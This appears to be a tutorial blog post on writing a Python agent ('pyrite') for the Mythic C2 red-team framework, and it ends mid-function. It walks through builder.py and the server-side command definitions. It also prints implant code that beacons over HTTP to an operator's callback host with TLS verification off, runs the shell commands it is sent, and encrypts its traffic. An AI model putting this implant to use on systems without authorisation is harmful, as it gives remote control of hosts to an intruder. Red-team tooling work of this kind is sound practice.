Mythic - Developing Custom Agent - Part 1 Architecture & Your First HTTP Callback

Series Overview:

• Part 1 (this post): Mythic architecture, folder layout, builder.py, and your first check-in/task loop over HTTP
• Part 2: Upgrading to HTTPS with the httpx profile
• Part 3: Translation containers — speaking a custom binary protocol
• Part 4: Designing your own wire protocol
• Part 5: Building a custom C2 profile from scratch

Why Another Mythic Agent Guide?

The Mythic documentation is thorough, but it assumes you already have a mental model of how all the pieces fit together. The handful of existing guides target C or C++ agents where a translation container is mandatory just to get JSON talking. Python is a great starting point because the agent can speak Mythic's native JSON directly — no translator needed in Part 1 — letting you see the full message loop clearly before adding complexity.

By the end of this series you will have:

• A working Python agent (pyrite) registered in Mythic with a shell command
• HTTPS comms via the httpx profile
• A custom binary protocol bridged by a translation container
• A fully custom C2 profile you wrote yourself
• A lot of cred goes to Red Team SNCF for their excellent writeup

All code is written for Mythic 3.3 / mythic-container PyPI ≥ 0.4.x.

How to create your own mythic agent in C

A blog post to explain how to create a mythic agent with low level language like C.

Red Team SNCFZkClown & Ze_Asimovitch

1. Mythic Architecture in Plain English

Mythic is a docker-compose cluster of microservices. The ones you care about as an agent developer are:

┌─────────────────────────────────────────────────────────────┐
│                       Mythic Server                         │
│  ┌──────────┐  ┌──────────┐  ┌────────────┐  ┌─────────┐   │
│  │PostgreSQL│  │RabbitMQ  │  │React UI    │  │Mythic   │   │
│  │(state)   │  │(message  │  │(operator   │  │backend  │   │
│  │          │  │ bus)     │  │ console)   │  │(golang) │   │
│  └──────────┘  └──────────┘  └────────────┘  └─────────┘   │
└─────────────────────────────────────────────────────────────┘
         ▲ RabbitMQ + gRPC             ▲ gRPC
         │                             │
┌─────────────────┐           ┌────────────────────┐
│  Payload Type   │           │   C2 Profile        │
│  Container      │           │   Container         │
│  (pyrite)       │           │   (http / httpx)    │
│  - builder.py   │           │   - server.py       │
│  - commands/    │           │   - config params   │
│  - translator/  │           │                     │
└─────────────────┘           └────────────────────┘
                                        ▲ HTTP/S
                                        │
                              ┌─────────────────┐
                              │   Your Agent    │
                              │   (pyrite.py)   │
                              │   running on    │
                              │   target host   │
                              └─────────────────┘

Key facts:

• Your agent binary/script (the implant) never talks directly to Mythic's backend. It talks to a C2 profile container (e.g. http) over whatever protocol that profile implements.
• The C2 profile container forwards messages to the Mythic backend over RabbitMQ.
• Your payload type container (the Docker service you write) handles: registering the agent with Mythic, building payloads, and defining commands.
• Agent messages are JSON blobs, base64-encoded, with the callback/payload UUID prepended.
• Running `python3 main.py` starts the **container service** — it registers pyrite with Mythic as an available payload type but does not create a callback. A callback only appears once you generate a payload and run the resulting implant on a target.

The three message actions you need to implement in the agent are:

2. Project Layout

Mythic provides a sample container at: https://github.com/MythicMeta/ExampleContainers.git

Git clone that repository and then install the following pip package

pip install mythic-container

Mythic states that inside Payload_Type there are two folders, one for Golang and one for Python depending on which language you prefer to code your agent definitions in, and that this choice is about the language used to define commands and parameters. https://docs.mythic-c2.net/customizing/payload-type-development#2-0-starting-with-an-example

For our example, we will use Python to define the agent definitions. You can delete the golang folder. We'll name our agent pyrite (your folder structure should look something like this):

pyrite/                                   ← container root (what mythic-cli installs)
├── Dockerfile
├── main.py
├── config.json                           ← tells mythic-cli what to install
├── rabbitmq_config.json                  ← local dev only, not shipped
└── pyrite/                               ← Python package (same name as agent)
    ├── __init__.py
    ├── mythic/                           ← all server-side Mythic container code
    │   ├── agent_functions/              ← PayloadType + CommandBase definitions
    │   │   ├── __init__.py
    │   │   ├── builder.py
    │   │   ├── shell.py
    │   │   ├── exit.py
    │   │   └── pyrite.svg
    │   └── browser_scripts/             ← JS for custom UI rendering (Part 6)
    │       └── .gitkeep
    └── agent_code/                       ← IMPLANT-SIDE: runs on the target
        ├── pyrite_agent.py               ← base agent (checkin/tasking/crypto)
        ├── shell.py
        └── exit.py

There are two completely separate sets of files here with different purposes:

pyrite/mythic/agent_functions/ contains server-side Python that runs inside the Mythic container. It defines the Mythic UI popup, argument validation, and the create_go_tasking preprocessing logic. This code never runs on the target.

agent_code/ contains the actual implant code that runs on the target machine. The base agent (pyrite_agent.py) handles the checkin/tasking loop, and each command has its own file with the execution logic. At build time, builder.py reads these files and stitches them together into the final payload.

pyrite/mythic/browser_scripts/ — JavaScript for custom output rendering. Covered in a later part; the directory must exist.

config.json tells `mythic-cli` which sections of the repo to install. Since we only have a payload type (no C2 profile, no documentation, no agent icons folder), set it to:

{
    "exclude_payload_type": false,
    "exclude_c2_profiles": true,
    "exclude_documentation_payload": true,
    "exclude_documentation_c2": true,
    "exclude_agent_icons": true
}

3. The Dockerfile

FROM itsafeaturemythic/mythic_python_base:latest

WORKDIR /Mythic/

RUN pip install requests

CMD ["python3", "main.py"]

The mythic_python_base image ships with Python 3.11 and the mythic_container PyPI package already installed. The Dockerfile installs the entire pyrite/ folder into the container image so Mythic can manage it as a persistent Docker service.

pycryptodome is required for AES-256-CBC encryption and RSA EKE key operations. It must also be available on the target host. requests handles HTTP; the agent falls back to urllib if it is unavailable.

You do not need Docker for local development and testing. Running python3 main.py directly from the container root is sufficient to connect your payload type container to Mythic, as long as rabbitmq_config.json has the correct credentials. Copy the rabbitmq_password value from your Mythic server's .env file:

# On the Mythic server
grep RABBITMQ_PASSWORD Mythic/.env

# Paste that value into pyrite/rabbitmq_config.json
{
  "rabbitmq_host": "127.0.0.1",
  "rabbitmq_password": "<value from .env>",
  "mythic_server_host": "127.0.0.1",
  "debug_level": "debug"
}

The two workflows are:

4. main.py — Starting the Service

# main.py  (lives at the container root, alongside Dockerfile)
import mythic_container
import pyrite  # triggers pyrite/__init__.py which auto-imports all agent_functions/

mythic_container.mythic_service.start_and_run_forever()

Importing pyrite executes pyrite/__init__.py, which globs agent_functions/*.py and imports every file it finds, registering all PayloadType and CommandBase subclasses in memory. This means adding a new command is just a matter of dropping a new .py file into agent_functions/ — no changes to main.py required.

start_and_run_forever() connects to RabbitMQ, syncs all registered classes to Mythic, and blocks indefinitely. Every time you restart this process Mythic re-syncs automatically.

5. pyrite/__init__.py — Auto-importing Commands

Mythic discovers commands by scanning for CommandBase subclasses that have been imported into memory. The __init__.py handles this automatically so you don't have to manually add each new command file to main.py.

This pattern comes directly from the ExampleContainers repo:

# pyrite/__init__.py
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys

currentPath = Path(__file__)
# Agent functions live under mythic/agent_functions/
searchPath  = currentPath.parent / "mythic" / "agent_functions" / "*.py"
modules     = glob.glob(f"{searchPath}")

invalidate_caches()

for x in modules:
    if not x.endswith("__init__.py") and x[-3:] == ".py":
        module = import_module(f"{__name__}.mythic.agent_functions." + Path(x).stem)
        for el in dir(module):
            if "__" not in el:
                globals()[el] = getattr(module, el)

sys.path.append(os.path.abspath(currentPath.name))

Three things this does that a minimal version would miss:

invalidate_caches() — tells Python's import machinery to re-scan for newly discovered modules. Inside a Docker container, modules may be written to disk after the interpreter started. Without this call, import_module can silently fail to find a module that exists on disk but hasn't been registered in the import cache yet.

globals()[el] = getattr(module, el) — exports every non-dunder name from each command module into the pyrite package's global namespace. This means CommandBase subclasses like ShellCommand are reachable as pyrite.ShellCommand, which is how mythic_container locates registered subclasses at sync time.

sys.path.append(...) — appends the package directory to sys.path, ensuring relative imports within agent_functions/ resolve correctly regardless of how the container is invoked.

6. builder.py — Payload Type Definition

This is the most important file in the container. It tells Mythic everything about your agent: what OS it targets, which C2 profiles it supports, build parameters, and how to actually create a payload file.

# pyrite/mythic/agent_functions/builder.py
import pathlib
import json

from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *


class Pyrite(PayloadType):
    # ── Identity ──────────────────────────────────────────────────────────────
    name = "pyrite"
    file_extension = "py"
    author = "@yourhandle"
    supported_os = [SupportedOS.Linux, SupportedOS.Windows, SupportedOS.MacOS]
    wrapper = False
    wrapped_payloads = []
    note = "Simple Python3 agent for demonstrating Mythic agent development."
    supports_dynamic_loading = True
    # mythic_encrypts = True: the agent implements AES-256-CBC + HMAC-SHA256.
    # Mythic's backend decrypts. The C2 profile container is a transparent forwarder.
    mythic_encrypts = True
    translation_container = None    # Added in Part 3

    build_parameters = [
        BuildParameter(
            name="version",
            parameter_type=BuildParameterType.String,
            description="Agent version string",
            default_value="0.1.0",
            required=False,
        ),
    ]

    c2_profiles = ["http"]

    agent_path      = pathlib.Path(".") / "pyrite"
    agent_icon_path = agent_path / "mythic" / "agent_functions" / "pyrite.svg"
    agent_code_path = agent_path / "agent_code"

    build_steps = [
        BuildStep(
            step_name="Gathering Files",
            step_description="Reading agent template from disk",
        ),
        BuildStep(
            step_name="Configuring",
            step_description="Stamping C2 parameters into the agent source",
        ),
    ]

    async def build(self) -> BuildResponse:
        resp = BuildResponse(status=BuildStatus.Success)

        # ── Step 1: Read template and command files ────────────────────────────
        try:
            agent_source = open(self.agent_code_path / "pyrite_agent.py", "r").read()

            command_code = ""
            for cmd in self.commands.get_commands():
                cmd_file = self.agent_code_path / f"{cmd}.py"
                try:
                    command_code += open(cmd_file, "r").read() + "\n"
                except FileNotFoundError:
                    pass

            # Single unique marker — avoids double-insertion from duplicate headers
            agent_source = agent_source.replace(
                "# ##COMMAND_CODE_INSERT##",
                command_code
            )

            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Gathering Files",
                    StepStdout="Read agent template and command files successfully",
                    StepSuccess=True,
                )
            )
        except Exception as e:
            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Gathering Files",
                    StepStdout=str(e),
                    StepSuccess=False,
                )
            )
            resp.set_status(BuildStatus.Error)
            resp.build_stderr = f"Failed to read agent template: {e}"
            return resp

        # ── Step 2: Stamp parameters ───────────────────────────────────────────
        try:
            if len(self.c2info) != 1:
                raise ValueError(f"Expected 1 C2 profile, got {len(self.c2info)}")

            params = self.c2info[0].get_parameters_dict()

            # ── AESPSK ────────────────────────────────────────────────────────
            # AESPSK has crypto_type=True. When "aes256_hmac" is selected, Mythic
            # auto-generates a per-payload 32-byte AES key returned as a dict.
            # When "none" is selected, no key is generated.
            aespsk_raw = params.get("AESPSK")
            if isinstance(aespsk_raw, dict):
                aespsk = aespsk_raw.get("enc_key") or ""
            elif aespsk_raw:
                aespsk = str(aespsk_raw)
            else:
                aespsk = ""

            # ── encrypted_exchange_check ───────────────────────────────────────
            # Boolean parameter defined by the http (and httpx) profiles — not
            # Mythic core. Controls whether the agent performs RSA EKE before
            # checkin. USE_EKE = True only when AESPSK is set AND EKE is enabled.
            eke_raw = params.get("encrypted_exchange_check", False)
            if isinstance(eke_raw, str):
                eke_enabled = eke_raw.lower() in ("true", "t", "1", "yes")
            else:
                eke_enabled = bool(eke_raw)
            use_eke = eke_enabled and bool(aespsk)

            replacements = {
                "REPLACE_CALLBACK_HOST":     str(params.get("callback_host", "http://127.0.0.1")),
                "REPLACE_CALLBACK_PORT":     str(params.get("callback_port", 80)),
                "REPLACE_CALLBACK_INTERVAL": str(params.get("callback_interval", 10)),
                "REPLACE_CALLBACK_JITTER":   str(params.get("callback_jitter", 23)),
                "REPLACE_USER_AGENT":        str(params.get("USER_AGENT", "Mozilla/5.0")),
                # http profile returns post_uri as "/data" — strip leading / to avoid "//data"
                "REPLACE_POST_URI":          str(params.get("post_uri", "/data")).lstrip("/"),
                "REPLACE_PAYLOAD_UUID":      str(self.uuid),
                "REPLACE_AESPSK":            aespsk,
                "REPLACE_USE_EKE":           str(use_eke),
            }

            for token, value in replacements.items():
                agent_source = agent_source.replace(token, value)

            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Configuring",
                    StepStdout="Stamped all C2 parameters into agent source",
                    StepSuccess=True,
                )
            )
            resp.payload = agent_source.encode()
            resp.build_message = "Pyrite built successfully."

        except Exception as e:
            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Configuring",
                    StepStdout=str(e),
                    StepSuccess=False,
                )
            )
            resp.set_status(BuildStatus.Error)
            resp.build_stderr = f"Configuration failed: {e}"

        return resp

Key things to note:

supports_dynamic_loading — per the Mythic payload type definition docs, setting this to True means the operator can select a subset of commands when generating a payload. Mythic will show a command selection step in the payload generation UI. Setting it to False means all commands are always included with no choice given to the operator.

When supports_dynamic_loading = True, self.commands.get_commands() inside build() returns only the commands the operator actually selected. This is exactly what our Step 1 iterates over when concatenating agent_code/{cmd}.py files — so only the selected commands get stitched into the payload. This is the same pattern used in the ExampleContainers basic_python_agent builder. — Without build_steps the Mythic UI shows no progress during payload generation. Each step must be explicitly ticked via the RPC call with StepSuccess=True/False. If a step fails, mark it false and return early.

Star imports — Use from mythic_container.PayloadBuilder import * and from mythic_container.MythicRPC import *. Selective imports can silently miss re-exported names like BuildStep, MythicRPCPayloadUpdateBuildStepMessage, and SendMythicRPCPayloadUpdatebuildStep.

agent_icon_path — Must point to a real .svg file. A non-existent path causes a sync error. At minimum use a placeholder:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" fill="#e5a000"/></svg>

AESPSK is a dict, not a string — When mythic_encrypts=True and an operation key exists, params.get("AESPSK") returns {"enc_key": "...", "dec_key": "..."}. Always check isinstance(val, dict) and extract enc_key.

REPLACE_USE_EKE — stamped as a Python literal True or False (no quotes). The template declares USE_EKE = REPLACE_USE_EKE without quotes so after substitution it becomes a boolean.

AESPSK and encrypted_exchange_check interaction:

7. Server-Side Commands — agent_functions/

What is CommandBase?

Per the Mythic commands docs:

CommandBase defines the metadata about the command as well as any pre-processing functionality that takes place before the final command is ready for the agent to process.

TaskArguments does two things: defines the parameters the command needs, and verifies/parses the user-supplied arguments into their proper components.

Every file in agent_functions/ (except builder.py) defines one command as two classes: a TaskArguments subclass that describes and parses the parameters, and a CommandBase subclass that describes the command metadata and contains create_go_tasking. When Mythic syncs your container at startup it scans for all CommandBase subclasses and registers each one as an available command for your agent.

The key attributes on CommandBase are:

agent_functions/shell.py

# pyrite/agent_functions/shell.py
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *


class ShellArguments(TaskArguments):
    def __init__(self, command_line, **kwargs):
        super().__init__(command_line, **kwargs)
        self.args = [
            CommandParameter(
                name="command",
                type=ParameterType.String,
                description="Shell command to execute on the target",
            ),
        ]

    async def parse_arguments(self):
        """
        Called when the operator submits free text in the terminal,
        e.g. typing: shell whoami
        self.command_line is the raw string after the command name.
        """
        if len(self.command_line) == 0:
            raise ValueError("Must supply a command to run")
        self.add_arg("command", self.command_line)

    async def parse_dictionary(self, dictionary_arguments):
        """
        Called when the operator submits via the popup modal form.
        Mythic passes a dict of {parameter_name: value} pairs.
        """
        self.load_args_from_dictionary(dictionary_arguments)


class ShellCommand(CommandBase):
    cmd = "shell"
    needs_admin = False
    help_cmd = "shell <command>"
    description = "Execute a shell command and return stdout/stderr."
    version = 1
    author = "@yourhandle"
    argument_class = ShellArguments
    attackmapping = ["T1059"]
    attributes = CommandAttributes(
        supported_os=[SupportedOS.Linux, SupportedOS.Windows, SupportedOS.MacOS]
    )

    async def create_go_tasking(
        self, taskData: PTTaskMessageAllData
    ) -> PTTaskCreateTaskingMessageResponse:
        # Set DisplayParams so the UI shows "whoami" next to the task
        # instead of the raw JSON blob {"command": "whoami"}
        response = PTTaskCreateTaskingMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            DisplayParams=taskData.args.get_arg("command"),
        )
        return response

    async def process_response(
        self, task: PTTaskMessageAllData, response: any
    ) -> PTTaskProcessResponseMessageResponse:
        resp = PTTaskProcessResponseMessageResponse(
            TaskID=task.Task.ID,
            Success=True,
        )
        return resp

Note the addition of DisplayParams to create_go_tasking. Without it, the Mythic UI shows the raw JSON {"command": "whoami"} next to the task in the callbacks table. Setting DisplayParams=taskData.args.get_arg("command") makes it show the human-readable whoami instead. Per the create tasking docs, this lets you leverage the JSON structure server-side for processing while still giving operators a clean view.

Note on create_tasking vs create_go_tasking: You may see create_tasking(self, task: MythicTask) in older agents like Medusa. Per the Mythic create tasking docs: "create_go_tasking is new in Mythic v3.0.0. Prior to this, there was the create_tasking function. The new change supports backwards compatibility, but the new function provides a lot more information and structured context that's not available in the create_tasking function." Use create_go_tasking for any new agent.

agent_functions/exit.py

Without an exit command there is no way to terminate the agent through Mythic — the only option would be killing the process on the target directly. The supported_ui_features = ["callback_table:exit"] attribute tells Mythic to wire this command up to the exit button in the callbacks table.

# pyrite/agent_functions/exit.py
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *


class ExitArguments(TaskArguments):
    def __init__(self, command_line, **kwargs):
        super().__init__(command_line, **kwargs)
        self.args = []

    async def parse_arguments(self):
        pass

    async def parse_dictionary(self, dictionary_arguments):
        pass


class ExitCommand(CommandBase):
    cmd = "exit"
    needs_admin = False
    help_cmd = "exit"
    description = "Terminate the agent process."
    version = 1
    author = "@yourhandle"
    argument_class = ExitArguments
    attackmapping = []
    supported_ui_features = ["callback_table:exit"]   # wires up the exit button in the UI
    attributes = CommandAttributes(
        supported_os=[SupportedOS.Linux, SupportedOS.Windows, SupportedOS.MacOS]
    )

    async def create_go_tasking(
        self, taskData: PTTaskMessageAllData
    ) -> PTTaskCreateTaskingMessageResponse:
        response = PTTaskCreateTaskingMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
        )
        return response

    async def process_response(
        self, task: PTTaskMessageAllData, response: any
    ) -> PTTaskProcessResponseMessageResponse:
        resp = PTTaskProcessResponseMessageResponse(
            TaskID=task.Task.ID,
            Success=True,
        )
        return resp

8. Implant-Side Commands — agent_code/

Each command has a corresponding file in agent_code/ containing the actual execution logic that runs on the target. builder.py reads these files and concatenates them into the final payload alongside the base agent.

agent_code/shell.py

# pyrite/agent_code/shell.py
import subprocess


def execute_shell(command: str) -> str:
    try:
        result = subprocess.run(
            command, shell=True, capture_output=True, text=True, timeout=60,
        )
        output = result.stdout
        if result.stderr:
            output += "\n[stderr]\n" + result.stderr
        return output if output else "(no output)"
    except subprocess.TimeoutExpired:
        return "[error] Command timed out after 60 seconds."
    except Exception as e:
        return f"[error] {e}"

agent_code/exit.py

# pyrite/agent_code/exit.py
import os


def execute_exit() -> None:
    os._exit(0)

os._exit(0) is used rather than sys.exit() because sys.exit() raises SystemExit which can be caught by exception handlers in the tasking loop. os._exit() terminates the process immediately at the OS level.

Understanding create_go_tasking and process_response

These two functions represent the server-side lifecycle of a task inside your payload type container. They are not part of the agent implant — they run inside the Docker container on the Mythic server.

Operator types command
        │
        ▼
  TaskArguments.parse_arguments() / parse_dictionary()
  (validates and structures the input)
        │
        ▼
  create_go_tasking()        ← runs BEFORE the agent sees the task
  (task is in "preprocessing" state)
        │
        ▼
  Task queued for agent
        │
        ▼
  Agent calls get_tasking, executes, calls post_response
        │
        ▼
  process_response()         ← runs AFTER the agent sends output back
  (optional — only if agent sends a "process_response" key)

create_go_tasking

Per the Mythic create tasking docs, this function is called when an operator submits a task, while the task is still in the "preprocessing" state — meaning it has not yet been queued for the agent. This is your opportunity to:

• Validate or modify parameters before the agent sees them (e.g. taskData.args.add_arg("key", "value"))
• Make RPC calls to Mythic to look up existing data (file IDs, callback info, etc.)
• Set DisplayParams to show a human-readable version of the args in the UI instead of the raw JSON blob
• Mark the task Completed=True to prevent the agent from ever receiving it (useful for script-only commands that run entirely server-side)
• Set CommandName to redirect the task to a different command name on the agent side

taskData is a PTTaskMessageAllData object. The docs describe its full structure at the MythicContainerPyPi source. The fields you'll use most often are:

The minimum valid implementation — which is all pyrite needs for a simple shell command — just returns success:

async def create_go_tasking(
    self, taskData: PTTaskMessageAllData
) -> PTTaskCreateTaskingMessageResponse:
    response = PTTaskCreateTaskingMessageResponse(
        TaskID=taskData.Task.ID,
        Success=True,
    )
    return response

If Success=False you must also set Error to a string — Mythic will surface this to the operator and the task will not be sent to the agent.

process_response

Per the Mythic process response docs, this function is called when the agent sends back a post_response message that contains a process_response key. It is not called for normal user_output responses — those are handled directly by Mythic. It is only invoked when the agent deliberately routes output through the container for custom server-side processing.

The agent would signal this by including a process_response key in its response:

{
    "action": "post_response",
    "responses": [{
        "task_id": "some-uuid",
        "process_response": {"myown": "data format"}
    }]
}

Mythic ships that process_response value to your container asynchronously and in parallel — it does not wait for your function to finish before responding to the agent. This makes it suitable for "fire and forget" operations like registering artifacts, keylogs, or custom data, but not for anything where the agent needs a result back (like file transfers or SOCKS).

For pyrite's shell command the agent just sends plain user_output, so process_response does nothing. The base implementation satisfies the interface requirement:

async def process_response(
    self, task: PTTaskMessageAllData, response: any
) -> PTTaskProcessResponseMessageResponse:
    resp = PTTaskProcessResponseMessageResponse(
        TaskID=task.Task.ID,
        Success=True,
    )
    return resp

9. The Agent Template — pyrite_agent.py

This file lives at pyrite/agent_code/pyrite_agent.py and is the base agent. It handles the checkin/tasking loop. Command implementations live in their own separate files in agent_code/. The builder.py stitches them all together at build time into a single payload file.

Verify your template has the correct tokens before generating a payload:

grep "REPLACE_" pyrite/agent_code/pyrite_agent.py
# Should show 8 lines — one per token

#!/usr/bin/env python3
"""
pyrite_agent.py — Pyrite implant for Mythic C2 (Part 1: HTTP)

THIS IS A TEMPLATE. All REPLACE_* tokens are substituted at build time
by builder.py. Do not replace them with real values here.
"""

import base64
import json
import os
import platform
import random
import socket
import string
import subprocess
import sys
import time
import traceback

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    import urllib.request
    import urllib.error
    requests = None

# ── Configuration stamped in by builder.py ────────────────────────────────────
CALLBACK_HOST     = "REPLACE_CALLBACK_HOST"
CALLBACK_PORT     = REPLACE_CALLBACK_PORT
CALLBACK_INTERVAL = REPLACE_CALLBACK_INTERVAL
CALLBACK_JITTER   = REPLACE_CALLBACK_JITTER
USER_AGENT        = "REPLACE_USER_AGENT"
POST_URI          = "/REPLACE_POST_URI"      # builder strips leading / from profile value
PAYLOAD_UUID      = "REPLACE_PAYLOAD_UUID"
AESPSK            = "REPLACE_AESPSK"
USE_EKE           = REPLACE_USE_EKE          # True/False literal — no quotes

# ── Globals ────────────────────────────────────────────────────────────────────
CALLBACK_UUID      = None
SESSION_KEY        = None   # negotiated AES key after EKE staging — replaces AESPSK
BASE_URL           = f"{CALLBACK_HOST}:{CALLBACK_PORT}"
_pending_responses = []


# ─────────────────────────────────────────────────────────────────────────────
# AES-256-CBC + HMAC-SHA256 Encryption
# ─────────────────────────────────────────────────────────────────────────────
# Per the Mythic agent message format docs:
#   https://docs.mythic-c2.net/customizing/payload-type-development/
#           create_tasking/agent-side-coding/initial-checkin
#
# Wire format when AESPSK is set:
#   Base64( UUID(36) + IV(16) + AES-CBC(JSON) + HMAC-SHA256(IV + ciphertext) )
#
# AES details: CBC, PKCS7 padding block 16, IV 16 random bytes, HMAC appended.
# Uses pycryptodome; falls back to pyca/cryptography.

import hashlib
import hmac as _hmac_mod

try:
    from Crypto.Cipher import AES as _AES
    from Crypto.Util.Padding import pad as _pad, unpad as _unpad
    _CRYPTO_LIB = "pycryptodome"
except ImportError:
    try:
        from cryptography.hazmat.primitives.ciphers import Cipher as _Cipher
        from cryptography.hazmat.primitives.ciphers.algorithms import AES as _AESAlgo
        from cryptography.hazmat.primitives.ciphers.modes import CBC as _CBC
        from cryptography.hazmat.primitives import padding as _padding
        _CRYPTO_LIB = "cryptography"
    except ImportError:
        _CRYPTO_LIB = None


def mythic_encrypt(plaintext_json: bytes, aes_key_b64: str) -> bytes:
    """
    Encrypt a JSON body per the Mythic static-encryption spec.
    Returns: IV(16) + AES-CBC(padded plaintext) + HMAC-SHA256(IV + ciphertext)
    UUID prefix is NOT included here — prepended in send_message.
    """
    key = base64.b64decode(aes_key_b64)
    iv  = os.urandom(16)

    if _CRYPTO_LIB == "pycryptodome":
        cipher     = _AES.new(key, _AES.MODE_CBC, iv)
        padded     = _pad(plaintext_json, 16)
        ciphertext = cipher.encrypt(padded)
    elif _CRYPTO_LIB == "cryptography":
        padder     = _padding.PKCS7(128).padder()
        padded     = padder.update(plaintext_json) + padder.finalize()
        cipher     = _Cipher(_AESAlgo(key), _CBC(iv))
        encryptor  = cipher.encryptor()
        ciphertext = encryptor.update(padded) + encryptor.finalize()
    else:
        raise RuntimeError("No AES library available. Install pycryptodome.")

    mac = _hmac_mod.new(key, iv + ciphertext, hashlib.sha256).digest()
    return iv + ciphertext + mac


def mythic_decrypt(data: bytes, aes_key_b64: str) -> bytes:
    """
    Decrypt a Mythic-format encrypted blob.
    data = IV(16) + ciphertext + HMAC-SHA256(32)
    Verifies HMAC before decrypting. Returns plaintext JSON bytes.
    """
    key        = base64.b64decode(aes_key_b64)
    iv         = data[:16]
    mac        = data[-32:]
    ciphertext = data[16:-32]

    expected = _hmac_mod.new(key, iv + ciphertext, hashlib.sha256).digest()
    if not _hmac_mod.compare_digest(mac, expected):
        raise ValueError("HMAC verification failed")

    if _CRYPTO_LIB == "pycryptodome":
        cipher = _AES.new(key, _AES.MODE_CBC, iv)
        padded = cipher.decrypt(ciphertext)
        return _unpad(padded, 16)
    elif _CRYPTO_LIB == "cryptography":
        cipher    = _Cipher(_AESAlgo(key), _CBC(iv))
        decryptor = cipher.decryptor()
        padded    = decryptor.update(ciphertext) + decryptor.finalize()
        unpadder  = _padding.PKCS7(128).unpadder()
        return unpadder.update(padded) + unpadder.finalize()
    else:
        raise RuntimeError("No AES library available. Install pycryptodome.")


# ─────────────────────────────────────────────────────────────────────────────
# HTTP Transport
# ─────────────────────────────────────────────────────────────────────────────

def _http_post(url: str, data: bytes) -> bytes:
    headers = {"User-Agent": USER_AGENT}
    if requests:
        resp = requests.post(url, data=data, headers=headers, verify=False, timeout=30)
        return resp.content
    else:
        req = urllib.request.Request(url, data=data, headers=headers, method="POST")
        with urllib.request.urlopen(req, timeout=30) as resp:
            return resp.read()


def send_message(uuid_str: str, payload: dict, override_key: str = None) -> dict:
    """
    Encrypt (if key available), build Mythic wire format, POST, decrypt response.

    Key selection: override_key > SESSION_KEY > AESPSK > plaintext.
    override_key forces a specific key — used during EKE staging_rsa exchange
    to use AESPSK before SESSION_KEY has been established.

    Wire format: Base64( UUID + body )
      body = AES256(JSON)  if active_key set
      body = JSON bytes    otherwise
    """
    active_key = override_key or SESSION_KEY or AESPSK

    json_body = json.dumps(payload).encode("utf-8")

    if active_key:
        body = mythic_encrypt(json_body, active_key)
    else:
        body = json_body

    raw  = uuid_str.encode("utf-8") + body
    wire = base64.b64encode(raw)

    # ── DEBUG ─────────────────────────────────────────────────────────────────
    key_label = (
        f"EKE session  ({SESSION_KEY[:16]}...)" if SESSION_KEY and not override_key else
        f"override key ({override_key[:16]}...)" if override_key else
        f"static PSK   ({AESPSK[:16]}...)"      if AESPSK else
        "plaintext"
    )
    url = f"{BASE_URL}{POST_URI}"
    print(f"\n[DEBUG] OUTGOING (POST {url})")
    print(f"  action    : {payload.get('action', '?')}")
    print(f"  outer UUID: {uuid_str}")
    print(f"  key used  : {key_label}")
    print(f"  raw[:60]  : {raw[:60]}...", flush=True)
    # ── END DEBUG ─────────────────────────────────────────────────────────────

    raw_resp  = _http_post(url, wire)

    print(f"[DEBUG] INCOMING: {raw_resp[:60]}...", flush=True)

    # Add padding tolerance before b64decode (some base64 responses lack trailing =)
    unwrapped = base64.b64decode(raw_resp + b"====")
    resp_body = unwrapped[36:]

    if not resp_body:
        raise RuntimeError(f"Empty response from {url}")

    if active_key:
        resp_body = mythic_decrypt(resp_body, active_key)

    return json.loads(resp_body)


# ─────────────────────────────────────────────────────────────────────────────
# EKE Staging + Checkin
# ─────────────────────────────────────────────────────────────────────────────

def get_ip() -> str:
    try:
        return socket.gethostbyname(socket.gethostname())
    except Exception:
        return "127.0.0.1"


def _gen_session_id(length: int = 20) -> str:
    chars = string.ascii_letters + string.digits
    return "".join(random.choice(chars) for _ in range(length))


def do_staging_rsa() -> tuple:
    """
    Perform RSA-based Encrypted Key Exchange with Mythic.

    Per the Mythic checkin docs:
      https://docs.mythic-c2.net/customizing/payload-type-development/
              create_tasking/agent-side-coding/initial-checkin
              #eke-by-generating-client-side-rsa-keys

    Phase 1 (encrypted with static AESPSK, outer UUID = PayloadUUID):
      Agent → Mythic: Base64( PayloadUUID + AES256(AESPSK,
                {"action":"staging_rsa", "pub_key":"<b64 RSA PEM>",
                 "session_id":"<20char>"}) )
      Mythic → Agent: Base64( PayloadUUID + AES256(AESPSK,
                {"action":"staging_rsa", "uuid":"<tempUUID>",
                 "session_key":"<RSAPub(new_aes_key)>",
                 "session_id":"<same 20char>"}) )

    RSA details per docs: 4096-bit, PKCS1_OAEP with SHA1.
    Returns (tempUUID, session_key_b64). Sets SESSION_KEY global.
    """
    global SESSION_KEY

    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP
    from Crypto.Hash import SHA1

    rsa_key     = RSA.generate(4096)
    pub_pem_b64 = base64.b64encode(
        rsa_key.publickey().export_key("PEM")
    ).decode("utf-8")
    session_id  = _gen_session_id(20)

    staging_msg = {
        "action":     "staging_rsa",
        "pub_key":    pub_pem_b64,
        "session_id": session_id,
    }

    response = send_message(PAYLOAD_UUID, staging_msg, override_key=AESPSK)

    if response.get("action") != "staging_rsa":
        raise RuntimeError(f"Unexpected staging response: {response.get('action')}")
    if response.get("session_id") != session_id:
        raise RuntimeError("Session ID mismatch in staging response")

    temp_uuid       = response["uuid"]
    session_key_enc = base64.b64decode(response["session_key"])

